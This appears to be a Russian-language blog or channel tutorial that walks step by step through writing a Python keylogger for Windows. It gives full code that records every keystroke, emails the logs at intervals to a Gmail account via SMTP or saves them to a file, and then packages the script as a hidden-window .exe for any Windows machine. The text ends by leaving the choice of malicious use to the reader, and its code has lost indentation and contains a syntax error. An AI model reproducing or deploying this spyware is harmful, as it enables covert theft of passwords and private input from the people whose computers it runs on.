February 18, 2023

Пишем кейлоггер на Python для Windows

Приветствую всех, друзья🥷


Эта статья практического характера. И сегодня вы научитесь создавать кейлоггер на языке Python, который записывает нажатия клавиш с клавиатуры и отправляет их по электронной почте или сохраняет в файл журнала.

Кейлоггер – это программа, предназначенная для записи ввода с клавиатуры. Если вы много работаете с текстом, кейлоггер может помочь собрать информацию о скорости ввода, продуктивности за определенный период времени и прочее. С другой стороны, кейлоггеры часто используют хакеры для кражи паролей и другой конфиденциальной информации.

Подготовка

Для начала нам потребуется установить Python. Вы можете скачать и установить подходящий релиз отсюда

https://www.python.org/downloads/

Кроме этого, нам понадобится библиотека. Она позволяет контролировать и регистрировать ввод с клавиатуры.

https://github.com/boppreh/keyboard

Ставим библиотеку простой командой в терминале:

pip3 install keyboard

Пишем кейлоггер

Наш кейлоггер будет слушать и записывать в строковую переменную нажатия клавиш в фоновом режиме и отправлять содержимое через заданные интервалы в локальный файл или на email.

Импорт библиотек

Начнем с импорта необходимых библиотек:

import keyboard
import smtplib #для отправки электронной почты по протоколу SMTP (gmail)
#Таймер для запуска через заданный «интервал» времени.
from threading import Timer
from datetime import datetime

Если вы хотите отправлять логи по электронной почте, следует настроить учетную запись Gmail и убедиться, что в учетной записи:

  • разрешен доступ для небезопасных приложений
  • отключена двухэтапная аутентификация.

Рекомендуется создавать отдельный адрес электронной почты отличный от основного, так как код содержит ваш пароль в открытом виде, который используется для отправки сообщений.

Инициализируем параметры

SEND_REPORT_EVERY = 60 #время в секундах
EMAIL_ADDRESS = "[email protected]"
EMAIL_PASSWORD = "notmypassword"

Тут необходимо указать корректные учетные данные Gmail, иначе отчет по электронной почте не будет работать.

Создаем класс и методы

Лучший способ представить кейлоггер – создать для него класс, и каждый метод в этом классе выполняет определенную задачу:

class Keylogger:
def __init__(self, interval, report_method="email"):
# передаем SEND_REPORT_EVERY в интервал
self.interval = interval
self.report_method = report_method
# это строковая переменная, которая содержит лог
self.log = ""
#запись начала и окончания даты и времени
self.start_dt = datetime.now()
self.end_dt = datetime.now()

Мы установили в качестве метода отправки по умолчанию значение email, что указывает на то, что мы будем отправлять кейлоги на электронную почту. В качестве альтернативы мы сможем просто записывать их в файл.

Используем функцию клавиатуры on_release(), которая принимает обратный вызов.

def callback(self, event):
name = event.name
if len(name) > 1:
#не символ, специальная клавиша (например, ctrl, alt и т. д.)
#верхний регистр
if name == "space":
#" " вместо пробелов
name = " "
elif name == "enter":
#добавлять новую строку всякий раз, когда нажимается ENTER
name = "[ENTER]\n"
elif name == "decimal":
name = "."
else:
#замените пробелы символами подчеркивания
name = name.replace(" ", "_")
name = f"[{name.upper()}]"
#добавить имя ключа в глобальную переменную
self.log += name

Пишем метод для записи в локальный файл

def update_filename(self):
#создать имя файла, которое будет идентифицировано по дате начала и окончания записи
start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
self.filename = f"keylog-{start_dt_str}_{end_dt_str}"
def report_to_file(self):
# создать файл
with open(f"{self.filename}.txt", "w") as f:
# записать лог
print(self.log, file=f)
print(f"[+] Saved {self.filename}.txt")

Отправка на email

def sendmail(self, email, password, message)
# управляет подключением к SMTP-серверу
server = smtplib.SMTP(host="smtp.gmail.com", port=587)
# подключиться к SMTP-серверу в режиме TLS
server.starttls()
# логин
server.login(email, password)
# отправить сообщение
server.sendmail(email, email, message)
# завершает сеанс
server.quit()

Если при отправке лога на email, консоль выдает ошибку вроде

UnicodeEncodeError: 'ascii' codec can't encode character, откройте библиотеку

smtplib.py по адресу

C:\Users\user\AppData\Local\Programs\Python\Python39\Lib\, найдите строку

msg = _fix_eols(msg).encode('ascii')

и замените ее на

msg = _fix_eols(msg).encode('utf8'). Ошибка связана с тем, что кодировка ASCII не может преобразовать в байты кириллицу.

Сообщаем лог через заданные промежутки времени

def report(self):
if self.log:
self.end_dt = datetime.now()
# обновить `self.filename`
self.update_filename()
if self.report_method == "email":
self.sendmail(EMAIL_ADDRESS,
EMAIL_PASSWORD, self.log)
elif self.report_method == "file":
self.report_to_file()
self.start_dt = datetime.now()
self.log = ""
timer = Timer(interval=self.interval,
function=self.report)
timer.daemon = True
# старт
timer.start()

Давайте определим метод on_release():

def start(self):
#записать дату и время начала
self.start_dt = datetime.now()
#запустить кейлогер

keyboard.on_release(callback=self.callback)
self.report()
keyboard.wait()

Мы закончили с классом Keylogger, теперь нужно создать экземпляр этого класса:

if __name__ == "__main__":
# для отправки по email раскомментировать строку ниже и закомментировать строку с report_method="file"
# keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
# для записи в локальный файл оставляем как есть
keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
keylogger.start()

Использование

Чтобы встроить наш скрипт в исполняемый файл, вы можете воспользоваться библиотекой с открытым исходным кодом Puinstaller. Для этого ставим саму библиотеку:

pip3 install pyinstaller

И собираем все в файл:

pyinstaller --onefile -w 'keylogger.py'

На выходе получаем файл с расширением .exe, который можно использовать на любом компьютере под управлением Windows.

Теперь вы знаете, как написать кейлоггер. Эта информация дана исключительно в информационных целях. Мы не рекомендуем использовать ее в корыстных целях, но выбор остается за тобой.


​​​​🔥 Ставь реакцию, если понравилась статья ​​​⚡️ Остались вопросы? Пиши - @golden_hpa